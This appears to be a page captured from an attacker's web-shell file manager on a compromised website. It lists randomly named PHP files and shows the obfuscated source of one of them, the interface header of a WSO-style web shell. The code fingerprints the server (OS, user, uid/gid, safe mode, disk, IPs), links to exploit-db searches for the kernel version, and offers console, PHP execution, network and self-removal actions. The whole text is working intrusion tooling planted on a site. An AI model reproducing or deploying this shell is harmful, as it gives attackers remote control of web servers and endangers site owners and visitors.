Gecko [ www.simplavenir.fr ]

Name	Size	Permission
bjgocema.php	29 B	-rw-r--r--
bofjnmzh.php	3.48 KB	-rw-r--r--
demgbhjy.php	3.42 KB	-rw-r--r--
hjefbtzc.php	11.24 KB	-rw-r--r--
ihqdzsgp.php	91 B	-rw-r--r--
incjbzuv.php	31 B	-rw-r--r--
kpdwbxmv.php	28 B	-rw-r--r--
krxvajtw.php	446 B	-rw-r--r--
pdoxeuzs.php	27 B	-rw-r--r--
pxdzanls.php	67.8 KB	-rw-r--r--
repair.php	7.45 KB	-rw-r--r--
vkmjzicp.php	51 B	-rw-r--r--
ziqprkub.php	2.76 KB	-rw-r--r--

Code Editor : hjefbtzc.php

<?php
function qemvk() {
    if (empty($_POST['sftr'])) {
        $_POST['sftr'] = $GLOBALS['qthrifeg'];
    }

global $hkrfopkafjq;

echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['sftr'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
    <style>
        body{background-color:#444;color:#e1e1e1;}
        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
        table.info{ color:#fff;background-color:#222; }
        span,h1,a{ color: $hkrfopkafjq !important; }
        span{ font-weight: bolder; }
        h1{ border-left:5px solid $hkrfopkafjq;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
        a{ text-decoration:none; }
        a:hover{ text-decoration:underline; }
        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea{ width:100%;height:300px; }
        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $hkrfopkafjq; font: 9pt Monospace,'Courier New'; }
        form{ margin:0px; }
        #toolsTbl{ text-align:center; }
        .toolsInp{ width: 300px }
        .main th{text-align:left;background-color:#5e5e5e;}
        .main tr:hover{background-color:#5e5e5e}
        .l1{background-color:#444}
        .l2{background-color:#333}
        pre{font-family:Courier,Monospace;}
    </style>
    <script>
        var c_ = '" . htmlspecialchars($GLOBALS['znpciraguli']) . "';
        var a_ = '" . htmlspecialchars(@$_POST['obkusp']) . "'
        var charset_ = '" . htmlspecialchars(@$_POST['sftr']) . "';
        var p1_ = '" . ((strpos(@$_POST['lsdee'], "\n") !== false) ? '' : htmlspecialchars($_POST['lsdee'], ENT_QUOTES)) . "';
        var p2_ = '" . ((strpos(@$_POST['dxxxrd'], "\n") !== false) ? '' : htmlspecialchars($_POST['dxxxrd'], ENT_QUOTES)) . "';
        var p3_ = '" . ((strpos(@$_POST['kvued'], "\n") !== false) ? '' : htmlspecialchars($_POST['kvued'], ENT_QUOTES)) . "';
        var d = document;

$hatriovc = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['znpciraguli']) : null;
    $gkgrhjlb = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['znpciraguli']) : null;
    $gkgrhjlb = $gkgrhjlb ? $gkgrhjlb : 1;
    $vplwtxaa = @php_uname('r');
    $pnpbxjottlm = @php_uname('s');
    $ejahupipxb = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $pnpbxjottlm) !== false) {
        $ejahupipxb .= urlencode('Linux Kernel ' . substr($vplwtxaa, 0, 6));
    } else {
        $ejahupipxb .= urlencode($pnpbxjottlm . ' ' . substr($vplwtxaa, 0, 3));
    }

if (!function_exists('posix_getegid')) {
        $owkouy = @get_current_user();
        $vnnwmphvr = @getmyuid();
        $wzyzyp = @getmygid();
        $nbvlczqcv = "?";
    } else {

$vnnwmphvr = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
        //$vnnwmphvr = @posix_getpwuid(posix_geteuid());

$wzyzyp = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
        //$wzyzyp = @posix_getgrgid(posix_getegid());
        $owkouy = is_array($vnnwmphvr) ? $vnnwmphvr['name'] : '?';
        $vnnwmphvr = is_array($vnnwmphvr) ? $vnnwmphvr['uid'] : '?';
        $nbvlczqcv = is_array($wzyzyp) ? $wzyzyp['name'] : '?';
        $wzyzyp = is_array($wzyzyp) ? $wzyzyp['gid'] : '?';
    }

$jrncaxdtgxh = '';
    $nrufsvxkk = explode("/", $GLOBALS['znpciraguli']);
    $vzlainot = count($nrufsvxkk);
    for ($jedprwvaef = 0; $jedprwvaef < $vzlainot - 1; $jedprwvaef++) {
        $jrncaxdtgxh .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($sssrygfjo = 0; $sssrygfjo <= $jedprwvaef; $sssrygfjo++) {
            $jrncaxdtgxh .= $nrufsvxkk[$sssrygfjo] . '/';
        }
        $jrncaxdtgxh .= "\")'>" . $nrufsvxkk[$jedprwvaef] . "/</a>";
    }

$cwdsuu = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $ecwbircmj = '';
    foreach ($cwdsuu as $fnjjfyoak) {
        $ecwbircmj .= '<option value="' . $fnjjfyoak . '" ' . ($_POST['sftr'] == $fnjjfyoak ? 'selected' : '') . '>' . $fnjjfyoak . '</option>';
    }

$qbxusamgwrfk = array(
        'Sec. Info' => 'SecInfo',
        'Files' => 'FilesMan',
        'Console' => 'Console',
        'Php' => 'Php',
        'String tools' => 'StringTools',
        'Network' => 'Network'
    );
    if (!empty($GLOBALS['nkvvcozmvcn'])) {
        $qbxusamgwrfk['Logout'] = 'Logout';
    }

$qbxusamgwrfk['Self remove'] = 'SelfRemove';
    $lclabid = '';
    foreach ($qbxusamgwrfk as $hymjlldwtc => $egcoret) {
        $lclabid .= '<th width="' . (int)(100 / count($qbxusamgwrfk)) . '%">[ <a href="#" onclick="g(\'' . $egcoret . '\',null,\'\',\'\',\'\')">' . $hymjlldwtc . '</a> ]</th>';
    }

$smsfiaenuy = "";
    if ($GLOBALS['ynkzirv'] == 'win') {
        foreach (range('c', 'z') as $ghyphpmogtkc) {
            if (is_dir($ghyphpmogtkc . ':\\')) {
                $smsfiaenuy .= '<a href="#" onclick="g(\'FilesMan\',\'' . $ghyphpmogtkc . ':/\')">[ ' . $ghyphpmogtkc . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['ynkzirv'] == 'win' ? '<br>Drives:' : '') . '</span></td>'
        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $ejahupipxb . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $vnnwmphvr . ' ( ' . $owkouy . ' ) <span>Group:</span> ' . $wzyzyp . ' ( ' . $nbvlczqcv . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['izzcswhnreyo'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . dbtcq($gkgrhjlb) . ' <span>Free:</span> ' . dbtcq($hatriovc) . ' (' . (int)($hatriovc / $gkgrhjlb * 100) . '%)<br>' . $jrncaxdtgxh . ' ' . qwzgk($GLOBALS['znpciraguli']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['qwzlfgax'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $smsfiaenuy . '</td>'
        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $ecwbircmj . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $lclabid . '</tr></table><div style="margin:5">';
}

${this.title}

Code Editor : hjefbtzc.php